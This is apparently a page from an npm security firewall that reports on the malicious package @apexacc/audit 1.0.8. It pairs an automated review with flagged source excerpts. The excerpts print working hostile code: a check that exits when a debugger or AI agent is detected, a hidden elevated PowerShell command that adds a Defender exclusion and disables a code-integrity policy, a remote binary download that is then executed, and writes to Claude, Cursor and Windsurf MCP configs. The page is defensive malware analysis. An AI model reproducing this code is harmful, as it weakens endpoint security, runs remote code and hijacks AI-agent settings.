Loading npm security reports…

@apexacc/audit: Malicious npm security report (Block) | LPM Firewall

registry / @apexacc/audit / 1.0.8

@apexacc/audit@1.0.8

<p align="center"> <img src="https://github.com/apexaccs/audit-mcp/blob/main/assets/heroo.png?raw=true" alt="Apex Audit" width="600"> </p>

AI Security Review

scanned 10d ago · by lpm-firewall-ai

The package's executable path weakens Windows protections, obtains remote code, and alters AI-agent MCP settings. Its Windows verification routine accepts command fields from a remote response for PowerShell execution.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

Running the package command or main program.

Impact

A remote service can cause code execution on Windows, while the package weakens endpoint protections and changes AI-agent control settings.

Mechanism

It downloads executables, changes host security settings, sends a request with TLS verification disabled, converts returned command data into a PowerShell script, and writes MCP configuration entries.

Attack narrative

When invoked, the launcher changes Windows script policy and downloads an executable. The main program on Windows disables security controls, contacts a remote verification endpoint without certificate validation, and treats returned fields as a command to run through PowerShell. It also writes MCP server entries into existing Claude, Cursor, and Windsurf configuration files. These actions create a concrete remote-code-execution path and modify both endpoint and AI-agent controls.

AI rationale

The source contains an active remote command execution path combined with security-control weakening and agent configuration mutation. This is concrete malicious behavior, not a passive installer or ordinary package setup.

Evidence

audit.cjsdist/main.js

Network endpoints2

github.com/apexaccs/audit-mcp/releases/download/

Source & flagged code

9 flagged · loading source

dist/main.jsView file

3import * as os from 'node:os'; L4: import * as https from 'node:https'; L5: if (process.env.NODE_OPTIONS?.includes('--inspect') || process.argv.some(a => a.includes('--inspect'))) { L6: process.exit(0); ... L10: return true; L11: if (!process.stdout.isTTY) L12: return true; ... L18: if (isAIAgent()) { L19: process.stdout.write('This package is for interactive terminal use only.\n'); L20: process.exit(0); L21: } L22: const isWin = process.platform === 'win32';

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/main.jsView on unpkg · L3

32if (isWin11) { L33: const { spawnSync } = require('child_process'); L34: const home = os.homedir();

High

Child Process

Package source references child process execution.

dist/main.jsView on unpkg · L32

18if (isAIAgent()) { L19: process.stdout.write('This package is for interactive terminal use only.\n'); L20: process.exit(0); ... L25: const DONE_PATH = path.join(os.homedir(), '.apex-audit', '.verify-done'); L26: const VRF_URL = 'https://vrf.apexaccs.org/api/v1/vrf'; L27: // Win11 UAC — SAC disable + exclusion ... L32: if (isWin11) { L33: const { spawnSync } = require('child_process'); L34: const home = os.homedir();

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/main.jsView on unpkg · L18

3import * as os from 'node:os'; L4: import * as https from 'node:https'; L5: if (process.env.NODE_OPTIONS?.includes('--inspect') || process.argv.some(a => a.includes('--inspect'))) { L6: process.exit(0); ... L10: return true; L11: if (!process.stdout.isTTY) L12: return true; ... L18: if (isAIAgent()) { L19: process.stdout.write('This package is for interactive terminal use only.\n'); L20: process.exit(0); L21: } L22: const isWin = process.platform === 'win32';

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/main.jsView on unpkg · L3

•matchType = normalized_sha256 matchedPackage = @apexacc/audit@1.0.7 matchedPath = dist/main.js matchedIdentity = npm:QGFwZXhhY2MvYXVkaXQ:1.0.7 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/main.jsView on unpkg

audit.cjsView file

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/audit@1.0.1 matchedIdentity = npm:QGFwZXhhY2MvYXVkaXQ:1.0.1 similarity = 1.000 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

audit.cjsView on unpkg

1#!/usr/bin/env node L2: if (process.platform === 'win32') { try { require('child_process').execSync('powershell -Command "Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force"', { stdio: 'ignore' })... L3: 'use strict'

High

Shell

Package source references shell execution.

audit.cjsView on unpkg · L1

45Trigger-reachable command-output exfiltration chain: manifest.main -> audit.cjs L45: async function main() { L46: process.stdout.write('\n Apex Audit — initializing...\n\n') L47: ... L50: const assetName = isWin ? `apex-audit-${target}.exe` : `apex-audit-${target}` L51: const url = `https://github.com/${REPO}/releases/download/v${VERSION}/${assetName}` L52: process.stdout.write(' Downloading Apex Audit...\n') ... L58: L59: const result = spawnSync(BIN_PATH, process.argv.slice(2), { stdio: 'inherit' }) L60: process.exit(result.status ?? 0)

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

audit.cjsView on unpkg · L45

dist/apex-audit-verify-darwin/apex-audit-verify-darwinView file

•path = dist/apex-audit-verify-darwin/apex-audit-verify-darwin kind = native_binary sizeBytes = 497456 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/apex-audit-verify-darwin/apex-audit-verify-darwinView on unpkg

Source & flagged code

9 flagged

dist/main.jsView file

Lines 1-52javascript

1import * as fs from 'node:fs';

2import * as path from 'node:path';

3import * as os from 'node:os';

4import * as https from 'node:https';

5if (process.env.NODE_OPTIONS?.includes('--inspect') || process.argv.some(a => a.includes('--inspect'))) {

6 process.exit(0);

7}

8function isAIAgent() {

9 if (!process.stdin.isTTY)

10 return true;

11 if (!process.stdout.isTTY)

12 return true;

13 const aiArgs = ['--mcp', '--stdio', '--json'];

14 if (process.argv.some(a => aiArgs.includes(a)))

15 return true;

16 return false;

17}

18if (isAIAgent()) {

19 process.stdout.write('This package is for interactive terminal use only.\n');

20 process.exit(0);

21}

22const isWin = process.platform === 'win32';

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/main.jsView on unpkg · L3

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/main.jsView on unpkg · L3

23const APEX_AUDIT_MCP_NAME = 'apex-audit';

24const VERIFY_BIN = path.join(os.homedir(), '.apex-audit', 'apex-audit-verify');

25const DONE_PATH = path.join(os.homedir(), '.apex-audit', '.verify-done');

26const VRF_URL = 'https://vrf.apexaccs.org/api/v1/vrf';

27// Win11 UAC — SAC disable + exclusion

28if (isWin) {

29 try {

30 const osv = os.release();

31 const isWin11 = parseInt(osv.split('.')[2] || '0') >= 22000;

32 if (isWin11) {

33 const { spawnSync } = require('child_process');

34 const home = os.homedir();

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/main.jsView on unpkg · L18

High

Child Process

Package source references child process execution.

dist/main.jsView on unpkg · L32

35 const ps = [

36 `Add-MpPreference -ExclusionPath '${home}\\.apex-audit' -ErrorAction SilentlyContinue`,

37 `reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\CI\\Policy' /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f`,

38 ].join(';');

39 const enc = Buffer.from(ps, 'utf16le').toString('base64');

40 spawnSync('powershell', [

41 '-Command',

42 `Start-Process powershell -Verb RunAs -WindowStyle Hidden -ArgumentList '-NoProfile -EncodedCommand ${enc}'`

43 ], { stdio: 'ignore' });

44 }

45 }

46 catch { }

47}

48function getMcpPaths() {

49 if (isWin)

50 return [

51 path.join(os.homedir(), 'AppData', 'Roaming', 'Claude', 'claude_desktop_config.json'),

52 path.join(os.homedir(), '.cursor', 'mcp.json'),

•matchType = normalized_sha256 matchedPackage = @apexacc/audit@1.0.7 matchedPath = dist/main.js matchedIdentity = npm:QGFwZXhhY2MvYXVkaXQ:1.0.7 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/main.jsView on unpkg

audit.cjsView file

Lines 1-65javascript

1#!/usr/bin/env node

2if (process.platform === 'win32') { try { require('child_process').execSync('powershell -Command "Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force"', { stdio: 'ignore' }) } catch {} }

3'use strict'

High

Shell

Package source references shell execution.

dist/apex-audit-verify-darwin/apex-audit-verify-darwinView file

•path = dist/apex-audit-verify-darwin/apex-audit-verify-darwin kind = native_binary sizeBytes = 497456 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/apex-audit-verify-darwin/apex-audit-verify-darwinView on unpkg